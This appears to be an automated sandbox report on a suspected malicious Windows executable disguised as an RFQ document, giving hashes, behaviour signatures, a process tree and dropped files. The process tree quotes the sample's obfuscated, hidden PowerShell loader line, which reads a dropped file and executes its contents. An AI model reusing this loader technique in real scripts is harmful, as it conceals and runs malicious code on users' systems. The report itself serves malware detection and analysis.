Analysis

  • max time kernel
    141s
  • max time network
    123s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240412-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-04-2024 12:09

General

  • Target

    RFQ 1Z8A6A658669149902.exe

  • Size

    520KB

  • MD5

    ef53493176b714d7c8c972a756cfd806

  • SHA1

    c7c08850f9dd1706a2a2a5b456f5de2b25eb200c

  • SHA256

    1353d2318463be28ebcffe36398b90b873ee21e2bde3d03f929103729c4b95ea

  • SHA512

    eab8465a629001a43631724aaa9293c229286bebb33c943ce197ce5f17419b9b91c6f9be86c4dec68d4b099871abf3fa05807e99876ffa0ee3497f3a5abac2fa

  • SSDEEP

    12288:fnPdhsFldr2BFS3Cr3HUNdAfZBAfYKBuyhleDJB:vPdhoeBYSrHU7K9KBuRJB

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RFQ 1Z8A6A658669149902.exe
    "C:\Users\Admin\AppData\Local\Temp\RFQ 1Z8A6A658669149902.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1824
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden ; $limpiness=Get-Content 'C:\Users\Admin\AppData\Roaming\Usitative\healthless\hovedanpartshaver\ravnemorens\Frsteinstanserne\Instantiations.Lil';$Sears=$limpiness.SubString(55857,3);.$Sears($limpiness)
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
        3⤵
          PID:4984
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1684 -s 2744
          3⤵
          • Program crash
          PID:2096
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 1684 -ip 1684
      1⤵
        PID:2816

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_beb2yd5a.uh5.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Usitative\healthless\hovedanpartshaver\ravnemorens\Frsteinstanserne\Instantiations.Lil

        Filesize

        54KB

        MD5

        63d0c546b30964e943c2ac8fd5e236db

        SHA1

        7d46713cb1d3cbfe25efcaf24369fb067d310920

        SHA256

        eb26aa5b4ec7a1c0c0ad2be344c02a23f770815a40e84e5b1b5fe24c9b64edda

        SHA512

        91399fec920e3be9526e1af39a632512c6c00cea3566a9ce43fdbadf813c5b2b830620bfc381747b195a4e2c52b8ef4d81295b484ea6ed925979a97b8cf6a1ed

      • C:\Users\Admin\Pictures\aflytningslov.lnk

        Filesize

        1KB

        MD5

        e31864d7f4f0248a79d9dcd7003846ec

        SHA1

        bc5b79b0b008b099f68678e47516193e9d2919c2

        SHA256

        649f4ecbe9697b696cc9419b4b534ac22530b4ba2ac4c57ef40432d57f2d049a

        SHA512

        88702cc800909a05d4f21797fa37d73bac7d28bf70597aa05132d73e303f3f1f0695c0f16717b8150c883fcdd63affa98ecfb250ef5a86ecf80060bfdb3ca089

      • memory/1684-144-0x0000000005A30000-0x0000000005A96000-memory.dmp

        Filesize

        408KB

      • memory/1684-146-0x0000000005F20000-0x0000000005F3E000-memory.dmp

        Filesize

        120KB

      • memory/1684-133-0x0000000005070000-0x0000000005092000-memory.dmp

        Filesize

        136KB

      • memory/1684-129-0x0000000072A20000-0x00000000731D0000-memory.dmp

        Filesize

        7.7MB

      • memory/1684-134-0x0000000005850000-0x00000000058B6000-memory.dmp

        Filesize

        408KB

      • memory/1684-130-0x0000000002A50000-0x0000000002A60000-memory.dmp

        Filesize

        64KB

      • memory/1684-145-0x0000000005AA0000-0x0000000005DF4000-memory.dmp

        Filesize

        3.3MB

      • memory/1684-132-0x00000000050B0000-0x00000000056D8000-memory.dmp

        Filesize

        6.2MB

      • memory/1684-147-0x0000000005F70000-0x0000000005FBC000-memory.dmp

        Filesize

        304KB

      • memory/1684-150-0x00000000064B0000-0x00000000064D2000-memory.dmp

        Filesize

        136KB

      • memory/1684-149-0x0000000006460000-0x000000000647A000-memory.dmp

        Filesize

        104KB

      • memory/1684-148-0x0000000006EF0000-0x0000000006F86000-memory.dmp

        Filesize

        600KB

      • memory/1684-151-0x0000000007540000-0x0000000007AE4000-memory.dmp

        Filesize

        5.6MB

      • memory/1684-131-0x0000000002950000-0x0000000002986000-memory.dmp

        Filesize

        216KB

      • memory/1684-153-0x0000000008170000-0x00000000087EA000-memory.dmp

        Filesize

        6.5MB

      • memory/1684-155-0x0000000072A20000-0x00000000731D0000-memory.dmp

        Filesize

        7.7MB